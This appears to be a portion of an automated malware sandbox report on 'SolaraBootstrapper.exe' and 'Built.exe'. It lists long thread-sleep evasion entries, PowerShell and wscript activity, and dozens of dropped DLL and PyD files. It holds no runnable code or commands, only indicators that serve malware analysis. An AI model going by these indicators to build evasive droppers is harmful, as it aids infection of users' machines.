Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593219
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593097
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592953
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592750
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592567
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592444
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592277
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592105
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591937
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591751
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591615
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591453
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591244
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591123
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590969
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590828
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590702
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590578
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590422
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590290
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590152
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590015
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589889
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589734
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589604
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589469
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589254
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589125
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588984
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588821
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588667
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588453
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588312
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588184
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588059
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587943
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587817
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587702
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587587
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587464
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587356
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587243
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587047
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586916
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586797
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586658
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586541
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586419
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586309
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586192
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586058
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585943
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585818
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585689
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585576
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585459
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585338
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585230
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585114
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584997
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584886
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584761
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584643
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584526
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584404
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 584288
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\agentInto\fontsessionruntime.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Window / User API: threadDelayed 5294
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Window / User API: threadDelayed 4075
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2589
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2329
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1887
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 800
Source: C:\agentInto\fontsessionruntime.exe	Window / User API: threadDelayed 728

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\libcurl.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.WinForms.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Core.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\zlib1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\WebView2Loader.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Wpf.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\Wpf.Ui.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Solara.Dir\cpr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6522\rar.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -23980767295822402s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -599875s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -599765s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -599656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -599547s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -599437s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -599328s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -599218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -599109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -598999s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -598877s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -598759s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -598640s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -598529s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -598417s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -598302s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -597969s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -597797s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -597609s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -597390s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -597234s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -597013s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -596828s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -596635s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -596359s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -596156s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -595922s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -595424s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -595293s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -595125s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -594956s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -594778s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -594638s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -594406s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -594234s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -594075s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -593928s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -593789s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -593666s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -593540s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -593382s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -593219s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -593097s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -592953s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -592750s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -592567s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -592444s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -592277s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -592105s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -591937s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -591751s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -591615s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -591453s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -591244s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -591123s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -590969s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -590828s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -590702s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -590578s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -590422s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -590290s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -590152s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -590015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -589889s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -589734s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -589604s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -589469s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -589254s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -589125s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -588984s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -588821s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -588667s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -588453s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -588312s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -588184s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -588059s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -587943s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -587817s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -587702s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -587587s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -587464s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -587356s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -587243s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -587047s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -586916s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -586797s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -586658s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -586541s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -586419s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -586309s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -586192s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -586058s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -585943s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -585818s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -585689s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -585576s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -585459s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -585338s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -585230s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -585114s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -584997s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -584886s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -584761s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -584643s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -584526s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -584404s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 6188	Thread sleep time: -584288s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1672	Thread sleep count: 2589 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1984	Thread sleep count: 2329 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1480	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5764	Thread sleep count: 1887 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7980	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1716	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956	Thread sleep count: 304 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8020	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep count: 800 > 30
